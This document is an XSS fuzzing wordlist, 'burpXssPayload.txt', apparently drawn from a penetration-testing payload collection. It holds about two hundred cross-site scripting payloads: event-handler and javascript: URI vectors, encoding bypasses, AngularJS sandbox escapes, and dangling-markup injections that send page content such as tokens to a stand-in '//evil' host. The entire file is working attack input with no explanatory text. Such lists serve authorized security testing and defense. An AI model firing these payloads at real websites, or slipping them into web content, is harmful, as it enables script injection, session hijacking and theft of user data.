master

分支 (1)

管理

管理

master

Fuzz_dic
/
burpXssPayload.txt

<a id=x tabindex=1 onactivate=alert(1)></a>
<body onafterprint=alert(2)>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(3)"></a>
<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(4)"></a>
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(5)"></a>
<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(6)"></a>
<a id=x tabindex=1 onbeforeactivate=alert(7)></a>
<a id=x tabindex=1 onbeforedeactivate=alert(8)></a><input autofocus>
<body onbeforeprint=alert(9)>
<body onbeforeunload="location='javascript:alert(10)'">
<svg><animate onbegin=alert(11) attributeName=x dur=1s>
<a onblur=alert(12) tabindex=1 id=x></a><input autofocus>
<marquee width=1 loop=1 onbounce=alert(13)>XSS</marquee>
<audio oncanplay=alert(14)><source src="validaudio.wav" type="audio/wav"></audio>
<video oncanplaythrough=alert(15)><source src="validvideo.mp4" type="video/mp4"></video>
<a id=x tabindex=1 ondeactivate=alert(16)></a><input id=y autofocus>
<svg><animate onend=alert(17) attributeName=x dur=1s>
<audio controls autoplay onended=alert(18)><source src="validaudio.wav" type="audio/wav"></audio>
<audio src/onerror=alert(19)>
<marquee width=1 loop=1 onfinish=alert(20)>XSS</marquee>
<a id=x tabindex=1 onfocus=alert(21)></a>
<a id=x tabindex=1 onfocusin=alert(22)></a>
<a onfocusout=alert(23) tabindex=1 id=x></a><input autofocus>
<body onhashchange="alert(24)">
<svg><a onload=alert(25)></a>
<audio onloadeddata=alert(26)><source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay onloadedmetadata=alert(27)> <source src="validaudio.wav" type="audio/wav"></audio>
<image src=validimage.png onloadend=alert(28)>
<image src=validimage.png onloadstart=alert(29)>
<body onmessage=alert(30)>
<body onpageshow=alert(31)>
<audio autoplay onplay=alert(32)><source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay onplaying=alert(33)><source src="validaudio.wav" type="audio/wav"></audio>
<body onpopstate=alert(34)>
<applet onreadystatechange=alert(35)></applet>
<svg><animate onrepeat=alert(36) attributeName=x dur=1s repeatCount=2 />
<body onresize="alert(37)">
<body onscroll=alert(38)><div style=height:1000px></div><div id=x></div>
<marquee onstart=alert(39)>XSS</marquee>
<audio controls autoplay ontimeupdate=alert(40)><source src="validaudio.wav" type="audio/wav"></audio>
<details ontoggle=alert(41) open>test</details>
<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(42)></a>
<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(43)></a>
<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(44)></a>
<body onunhandledrejection=alert(45)><script>fetch('//xyz')</script>
<video autoplay controls onwaiting=alert(46)><source src="validvideo.mp4" type=video/mp4></video>
<input onauxclick=alert(47)>
<a onbeforecopy="alert(48)" contenteditable>test</a>
<a onbeforecut="alert(49)" contenteditable>test</a>
<a onbeforepaste="alert(50)" contenteditable>test</a>
<input onchange=alert(51) value=xss>
<a onclick="alert(52)">test</a>
<a oncontextmenu="alert(53)">test</a>
<a oncopy="alert(54)" contenteditable>test</a>
<a oncut="alert(55)" contenteditable>test</a>
<a ondblclick="alert(56)">test</a>
<a draggable="true" ondrag="alert(57)">test</a>
<a draggable="true" ondragend="alert(58)">test</a>
<a draggable="true" ondragenter="alert(59)">test</a>
<a draggable="true" ondragleave="alert(60)">test</a>
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(61) contenteditable>drop here</a>
<a draggable="true" ondragstart="alert(62)">test</a>
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(63) contenteditable>drop here</a>
<input oninput=alert(64) value=xss>
<form><input oninvalid=alert(65) required><input type=submit>
<a onkeydown="alert(66)" contenteditable>test</a>
<a onkeypress="alert(67)" contenteditable>test</a>
<a onkeyup="alert(68)" contenteditable>test</a>
<a onmousedown="alert(69)">test</a>
<a onmouseenter="alert(70)">test</a>
<a onmouseleave="alert(71)">test</a>
<a onmousemove="alert(72)">test</a>
<a onmouseout="alert(73)">test</a>
<a onmouseover="alert(74)">test</a>
<a onmouseup="alert(75)">test</a>
<a onpaste="alert(76)" contenteditable>test</a>
<audio autoplay controls onpause=alert(77)><source src="validaudio.wav" type="audio/wav"></audio>
<form onreset=alert(78)><input type=reset>
<form><input type=search onsearch=alert(79) value="Hit return" autofocus>
<audio autoplay controls onseeked=alert(80)><source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay controls onseeking=alert(81)><source src="validaudio.wav" type="audio/wav"></audio>
<input onselect=alert(82) value="XSS" autofocus>
<form onsubmit=alert(83)><input type=submit>
<svg onunload=window.open('javascript:alert(84)')>
<audio autoplay controls onvolumechange=alert(85)><source src="validaudio.wav" type="audio/wav"></audio>
<body onwheel=alert(86)>
<script>onerror=alert;throw 1</script>
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>location=name</script>
<script>alert`1`</script>
<xss class=progress-bar-animated onanimationstart=alert(97)>
<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(98)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>
<iframe src="javascript:alert(99)">
<object data="javascript:alert(100)">
<embed src="javascript:alert(101)">
<a href="javascript:alert(102)">XSS</a>
<a href="JaVaScript:alert(103)">XSS</a>
<a href=" 	javascript:alert(104)">XSS</a>
<a href="javas	cript:alert(105)">XSS</a>
<svg><a xlink:href="javascript:alert(106)"><text x="20" y="20">XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(107) /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(108) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(109) /><a id=xss><text x=20 y=20>XSS</text></a>
<script src="data:text/javascript,alert(110)"></script>
<svg><script href="data:text/javascript,alert(111)" />
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(112)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
<script>import('data:text/javascript,alert(113)')</script>
<base href="javascript:/a/-alert(114)///////"><a href=../lol/safari.html>test</a>
<math><x href="javascript:alert(115)">blah
<form><button formaction=javascript:alert(116)>XSS
<form><input type=submit formaction=javascript:alert(117) value=XSS>
<form action=javascript:alert(118)><input type=submit value=XSS>
<isindex type=submit formaction=javascript:alert(119)>
<isindex type=submit action=javascript:alert(120)>
<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>
<iframe srcdoc="<img src=1 onerror=alert(122)>"></iframe>
<iframe srcdoc="&lt;img src=1 onerror=alert(123)&gt;"></iframe>
<form action="javascript:alert(124)"><input type=submit id=x></form><label for=x>XSS</label>
<input type="hidden" accesskey="X" onclick="alert(125)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
<link rel="canonical" accesskey="X" onclick="alert(126)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
<a href=# download="filename.html">Test</a>
<img referrerpolicy="no-referrer" src="//portswigger-labs.net">
<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">
<meta charset="UTF-7" /> +ADw-script+AD4-alert(130)+ADw-/script+AD4-
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(131)+ADw-/script+AD4-
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
<iframe sandbox src="//portswigger-labs.net"></iframe>
<meta name="referrer" content="no-referrer">
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>
<script>eval('\x61lert(1)')</script>
<a href="&#106;avascript:alert(139)">XSS</a><a href="&#106avascript:alert(139)">XSS</a>
<a href="&#0000106avascript:alert(140)">XSS</a>
<a href="&#x6a;avascript:alert(141)">XSS</a>
<a href="&#x0000006a;avascript:alert(142)">XSS</a>
<a href="&#X6A;avascript:alert(143)">XSS</a>
<a href="javascript:x='%27-alert(144)-%27';">XSS</a>
<a href="javascript:x='&percnt;27-alert(145)-%27';">XSS</a>
<a href="javascript&#x6a;avascript:alert(146)">Firefox</a>
<a href="javascript&colon;alert(147)">Firefox</a>
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
{{constructor.constructor('alert(149)')()}}
{{$on.constructor('alert(150)')()}}
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(151)')()}}
{{{}.")));alert(152)//"}}
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(153)')()}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(154)"].sort(toString.constructor);}}
{{{}.")));alert(155)//"}}
{{{}.")));alert(156)//"}}
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(157)//');}}
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(158)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(159)');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(160)//');}}
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(161)');}}
{{constructor.constructor('alert(162)')()}}
{{$on.constructor('alert(163)')()}}
constructor.constructor('alert(164)')()
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(165)')()
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(166)"].sort(toString.constructor)
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(167)')()
{}.")));alert(168)//";
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(169)//';
constructor.constructor('alert(170)')()
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
<link rel=stylesheet href="//evil?
<link rel=icon href="//evil?
<meta http-equiv="refresh" content="0; http://evil?
<video><track default src="//evil?
<video><source src="//evil?
<audio><source src="//evil?
<input type=image src="//evil?
<form><button style="width:100%;height:100%" type=submit formaction="//evil?
<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?
<button form=x style="width:100%;height:100%;"><form id=x action="//evil?
<isindex type=image src="//evil?
<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?
<object data="//evil?
<iframe src="//evil?
<embed src="//evil?
<form><button formaction=//evil>XSS</button><textarea name=x>
<button form=x>XSS</button><form id=x action=//evil target='
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="
<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="
<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(200)//'>
<img src="javascript:alert(201)">
<body background="javascript:alert(202)">
<iframe src="data:text/html,<img src=1 onerror=alert(203)>">
<a title="&{alert(204)}">XSS</a>
<link href="xss.js" rel=stylesheet type="text/javascript">
<form><button name=x formaction=x><b>stealme
<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>
<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22 http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js %22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20 document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(209)">XSS</a>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(210)>"> </BODY></HTML>